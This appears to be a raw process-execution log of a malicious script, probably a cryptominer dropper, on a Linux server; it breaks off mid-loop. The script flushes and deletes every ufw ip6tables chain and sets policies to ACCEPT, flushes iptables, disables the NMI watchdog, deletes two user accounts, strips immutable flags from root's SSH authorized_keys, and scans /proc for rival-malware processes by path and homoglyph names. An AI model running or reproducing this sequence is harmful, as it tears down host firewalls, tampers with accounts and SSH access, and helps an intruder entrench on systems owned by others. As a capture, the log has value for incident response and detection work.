/sbin/ip6tables

[ip6tables -F ufw6-user-logging-input]

/sbin/ip6tables

[ip6tables -F ufw6-user-limit-accept]

/sbin/ip6tables

[ip6tables -F ufw6-user-limit]

/sbin/ip6tables

[ip6tables -F ufw6-skip-to-policy-input]

/sbin/ip6tables

[ip6tables -F ufw6-reject-input]

/sbin/ip6tables

[ip6tables -F ufw6-after-logging-input]

/sbin/ip6tables

[ip6tables -F ufw6-after-input]

/sbin/ip6tables

[ip6tables -F ufw6-user-input]

/sbin/ip6tables

[ip6tables -F ufw6-before-input]

/sbin/ip6tables

[ip6tables -F ufw6-before-logging-input]

/sbin/ip6tables

[ip6tables -F ufw6-skip-to-policy-forward]

/sbin/ip6tables

[ip6tables -F ufw6-reject-forward]

/sbin/ip6tables

[ip6tables -F ufw6-after-logging-forward]

/sbin/ip6tables

[ip6tables -F ufw6-after-forward]

/sbin/ip6tables

[ip6tables -F ufw6-user-logging-forward]

/sbin/ip6tables

[ip6tables -F ufw6-user-forward]

/sbin/ip6tables

[ip6tables -F ufw6-before-forward]

/sbin/ip6tables

[ip6tables -F ufw6-before-logging-forward]

/sbin/ip6tables

[ip6tables -F ufw6-track-forward]

/sbin/ip6tables

[ip6tables -F ufw6-track-output]

/sbin/ip6tables

[ip6tables -F ufw6-track-input]

/sbin/ip6tables

[ip6tables -F ufw6-skip-to-policy-output]

/sbin/ip6tables

[ip6tables -F ufw6-reject-output]

/sbin/ip6tables

[ip6tables -F ufw6-after-logging-output]

/sbin/ip6tables

[ip6tables -F ufw6-after-output]

/sbin/ip6tables

[ip6tables -F ufw6-user-logging-output]

/sbin/ip6tables

[ip6tables -F ufw6-user-output]

/sbin/ip6tables

[ip6tables -F ufw6-before-output]

/sbin/ip6tables

[ip6tables -F ufw6-before-logging-output]

/sbin/ip6tables

[ip6tables -Z ufw6-logging-deny]

/sbin/ip6tables

[ip6tables -Z ufw6-logging-allow]

/sbin/ip6tables

[ip6tables -Z ufw6-not-local]

/sbin/ip6tables

[ip6tables -Z ufw6-user-logging-input]

/sbin/ip6tables

[ip6tables -Z ufw6-user-limit-accept]

/sbin/ip6tables

[ip6tables -Z ufw6-user-limit]

/sbin/ip6tables

[ip6tables -Z ufw6-skip-to-policy-input]

/sbin/ip6tables

[ip6tables -Z ufw6-reject-input]

/sbin/ip6tables

[ip6tables -Z ufw6-after-logging-input]

/sbin/ip6tables

[ip6tables -Z ufw6-after-input]

/sbin/ip6tables

[ip6tables -Z ufw6-user-input]

/sbin/ip6tables

[ip6tables -Z ufw6-before-input]

/sbin/ip6tables

[ip6tables -Z ufw6-before-logging-input]

/sbin/ip6tables

[ip6tables -Z ufw6-skip-to-policy-forward]

/sbin/ip6tables

[ip6tables -Z ufw6-reject-forward]

/sbin/ip6tables

[ip6tables -Z ufw6-after-logging-forward]

/sbin/ip6tables

[ip6tables -Z ufw6-after-forward]

/sbin/ip6tables

[ip6tables -Z ufw6-user-logging-forward]

/sbin/ip6tables

[ip6tables -Z ufw6-user-forward]

/sbin/ip6tables

[ip6tables -Z ufw6-before-forward]

/sbin/ip6tables

[ip6tables -Z ufw6-before-logging-forward]

/sbin/ip6tables

[ip6tables -Z ufw6-track-forward]

/sbin/ip6tables

[ip6tables -Z ufw6-track-output]

/sbin/ip6tables

[ip6tables -Z ufw6-track-input]

/sbin/ip6tables

[ip6tables -Z ufw6-skip-to-policy-output]

/sbin/ip6tables

[ip6tables -Z ufw6-reject-output]

/sbin/ip6tables

[ip6tables -Z ufw6-after-logging-output]

/sbin/ip6tables

[ip6tables -Z ufw6-after-output]

/sbin/ip6tables

[ip6tables -Z ufw6-user-logging-output]

/sbin/ip6tables

[ip6tables -Z ufw6-user-output]

/sbin/ip6tables

[ip6tables -Z ufw6-before-output]

/sbin/ip6tables

[ip6tables -Z ufw6-before-logging-output]

/sbin/ip6tables

[ip6tables -X ufw6-logging-deny]

/sbin/ip6tables

[ip6tables -X ufw6-logging-allow]

/sbin/ip6tables

[ip6tables -X ufw6-not-local]

/sbin/ip6tables

[ip6tables -X ufw6-user-logging-input]

/sbin/ip6tables

[ip6tables -X ufw6-user-logging-output]

/sbin/ip6tables

[ip6tables -X ufw6-user-logging-forward]

/sbin/ip6tables

[ip6tables -X ufw6-user-limit-accept]

/sbin/ip6tables

[ip6tables -X ufw6-user-limit]

/sbin/ip6tables

[ip6tables -X ufw6-user-input]

/sbin/ip6tables

[ip6tables -X ufw6-user-forward]

/sbin/ip6tables

[ip6tables -X ufw6-user-output]

/sbin/ip6tables

[ip6tables -X ufw6-skip-to-policy-input]

/sbin/ip6tables

[ip6tables -X ufw6-skip-to-policy-output]

/sbin/ip6tables

[ip6tables -X ufw6-skip-to-policy-forward]

/sbin/ip6tables

[ip6tables -P INPUT ACCEPT]

/sbin/ip6tables

[ip6tables -P OUTPUT ACCEPT]

/sbin/ip6tables

[ip6tables -P FORWARD ACCEPT]

/sbin/iptables

[iptables -F]

/usr/bin/sudo

[sudo sysctl kernel.nmi_watchdog=0]

/usr/sbin/userdel

[userdel akay]

/usr/sbin/userdel

[userdel vfinder]

/usr/bin/chattr

[chattr -iae /root/.ssh/]

/usr/bin/chattr

[chattr -iae /root/.ssh/authorized_keys]

/bin/rm

[rm -rf /tmp/addres*]

/bin/rm

[rm -rf /tmp/walle*]

/bin/rm

[rm -rf /tmp/keys]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/10]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1012]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1017]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1031]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1037]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1050]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1054]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1058]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1061]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1064]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1074]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1078]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1087]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1095]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/11]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1106]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1107]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1113]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1118]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1122]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1126]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1131]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1135]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1136]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1139]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1141]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1145]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/115]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1153]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1157]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1158]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1159]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/1163]

/bin/grep

